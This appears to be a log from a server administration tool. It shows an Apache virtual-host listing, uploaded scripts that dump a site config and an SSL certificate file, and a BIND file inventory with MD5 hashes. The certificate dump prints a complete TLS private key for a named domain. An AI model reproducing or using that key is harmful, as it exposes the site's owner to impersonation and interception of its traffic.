port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-05 13:49:05:
PUT: /tmp/pkp523118
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-05 13:49:05:
chmod 755 /tmp/pkp523118; /tmp/pkp523118; rm /tmp/pkp523118
2026-01-05 13:49:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 1429
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-05 13:49:05:
PUT: /tmp/pkp319581
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-05 13:49:05:
chmod 755 /tmp/pkp319581; /tmp/pkp319581; rm /tmp/pkp319581
2026-01-05 13:49:06:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt 5394
d5:b2:3d:62:81:f6:b5:78:09:88:8a:9d:82:20:5c:30
-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBl4akI2wnGahjG/WEnz0ITEmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTA1MTI1MDMyWhcNMjYwNDA1MTI1MDMxWjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAp//Cpl9c25ERfKZu80uGX5ozGk1m2PySeMGARiWBVGJN
QnAn1J0dAOPTRt842eQJ9FX/hCDguPpg3v5HOuFUuMkdJ80zI1nBZtaC7+6E1vv6
AuIIptPLgqAhUvnHDcH1t6CKBfl8PXcmEafWKldv8iNDhi6rhjz0AJEn6ARHOORD
lq5Tn/eeUFG5PBKhmGAzUy2kdfChhaG5h/lpZLmergoWYq3KaitxoIq0TB1kIZFy
JmpREPaYAmlBFVw2ks+yef+peBq1ZvpVp1YcBpcdfCYF+mDkhLDObVEw3i6ZW8g7
E5uxLEb1s/hzdJoaRsdvfsCsQhYRIygb/NTbCBG7nQIDAQABo4ICNDCCAjAwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBSdAOlsY81z8ovlSVLVkMIvxKEMmTAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zOS5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj1
6TGzI8uVBAAAAZuOaxy8AAAEAwBHMEUCIQDB0tOpTsU5FPamKTAgEO5kEDEMcpek
FUua/dc1EJl4xQIgIY89M/M5E+SWAdk3MU3Lo0eook1JJevCi4QBf1X1crgAfgDj
I43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZuOax6kAAgAAAUALlib
lAQDAEcwRQIhALI4DHDWcrBA6C07W3dyPO5lQhw7/xCXCkcG89hW3gOoAiBnB0uG
KXcmt5+Rrv0tYT8kDUmO73L9j5Oipi7zcSpTGjANBgkqhkiG9w0BAQsFAAOCAQEA
tkv+u4VDmy7E6e0iQzBP5GWiAKwaTGExA1xD/Pk+I1atz2RkyzoI62f3IkoFyDhr
/4kEmKnLIxghG4aDgJPADoU5MJ2fPVhJp3qPhmdDjiH2hvQAiHkQR0YWf08rAq6r
ij4h/mRH9Whi8nI+tYLaiEHfvh+APbqo8q32qHmbLDxk4lqr9/mHZAwTQL4BfLHg
Dy7K3ivccBRQIgoE5EicYlVjvNUOJoQ6sKSCo+8sNarapmp52Bi+j4YPCIIDg0z1
JLX1R3qHXiw8TkK67Y89fNTyaCwybOBIHywGSaL4O4HrzyRJ9wVOEBNaXmB3wr0K
BJxGGMrjJzbcTYrlp0h/wg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCn/8KmX1zbkRF8
pm7zS4ZfmjMaTWbY/JJ4wYBGJYFUYk1CcCfUnR0A49NG3zjZ5An0Vf+EIOC4+mDe
/kc64VS4yR0nzTMjWcFm1oLv7oTW+/oC4gim08uCoCFS+ccNwfW3oIoF+Xw9dyYR
p9YqV2/yI0OGLquGPPQAkSfoBEc45EOWrlOf955QUbk8EqGYYDNTLaR18KGFobmH
+WlkuZ6uChZircpqK3GgirRMHWQhkXImalEQ9pgCaUEVXDaSz7J5/6l4GrVm+lWn
VhwGlx18JgX6YOSEsM5tUTDeLplbyDsTm7EsRvWz+HN0mhpGx29+wKxCFhEjKBv8
1NsIEbudAgMBAAECggEAAcuxjG6zguNLkQ4EXJRflNEEn9DY+xPECwdidB19guXk
FoQ1YMfnIfXNcdH7/RQ7aQGsUAC79i4y798+6qmy6qC3r4+5brTMZOmBD8h4YgXi
d7prxkC4SaalhIoH7yU2F6bfIs42Xj/SR9kH6H7zwt5On/YKvk4Te5gRmaDGFB0U
BawSoGdah5oVG1TNOxto+GWwDsFYtTK8102pGCwr9jkRFMvoNLQU/HGSzE37/2Y/
F/4M8oITwdNjNa2vF/1+AcicOOONOFSW2kAxGpG4w/MAjnTAHj42Z8+W5ZATS2T3
SZwJmha8EIPwE4dRV3+FhPg3kdnR7auZWv2mgwEn7wKBgQDrnfBkNurvr+n59FYu
9ceZ//S1M+VVIwNKu67WQAe/l7MrxlYkP3z5ZJFKIdQENX21pdz4vNkRf1PqeS+u
mEbgQDytAkuj/iMbUBk//dbIvpEK32RJ4Obuf5H1kem573pwltZ9iegKQc2Bco2O
4ZEmw8z6sFEjJbY304Hmu3U83wKBgQC2iFSTUyEr/kkn1NWkL/mZNnoAdIL/cOQ4
VJrUQUketvIfd/vrYTYqkOufM1HaNXGpC7yxekvXUAy8uukwNMr4IcgZsl+/aIuD
H9r4oHpoOtWp/XSg2tnmf5CPerEZW8NmgiIh3RX0rHTqh0uh8CJcSQbdlOp4IodC
x+25CgmbAwKBgF0IRsP7Hza22gb04Ba4uzBmbSQjMpk0MveONdGpBKY06u0M6jRz
0Q/UEr4Xr1ReHp3buO2J+5e6E9NQOHCS9eFT2+FgN6ewEAKX1PB8dRNck36ciEfX
greHLYWuMIBXO5w7IsP88N8j7lX/ej+Bd0O8KjKN7euX12QhongNapQ3AoGAP7a+
rt4pig2sw3aLTFBis5RMabRBtaBWSUNe+BAB0fLR+SIMkVDRc3I6jMuBGsXk8rji
GKEzr+iFSauEkgsbfhlsm2uj+FApwo9wA7EgiRlgU4HhH/TEcqy8bRjKkKtzPWjX
OTLO4yT/eo3XXKNRmxzyhI3ieiSzSiA3XoueZrkCgYEA3O2OZ9H1afPjyYyVIMSa
W8Fcsf6bJq9Uf4FN+NpCm+DMvVJBYsYDElX4Y+uNuqLh8VPABoDgad/hNkUO3gNb
CcEgT8GlDfJORAF75UZ/hTjOmSpyiHyzURnxFPUcDKqHD4+3cW3nAie63HS1sIWa
8xoTB21nSOpOdeKAyHkRfeA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-05 16:59:52: Establishing a connection
2026-01-05 19:16:57: Establishing a connection
2026-01-05 19:17:11: Establishing a connection
2026-01-05 19:17:11:
PUT: /tmp/pkp194859
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-05 19:17:12:
runuser -l bind -s /bin/bash -c '/tmp/pkp194859; rm /tmp/pkp194859'
2026-01-05 19:17:12:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
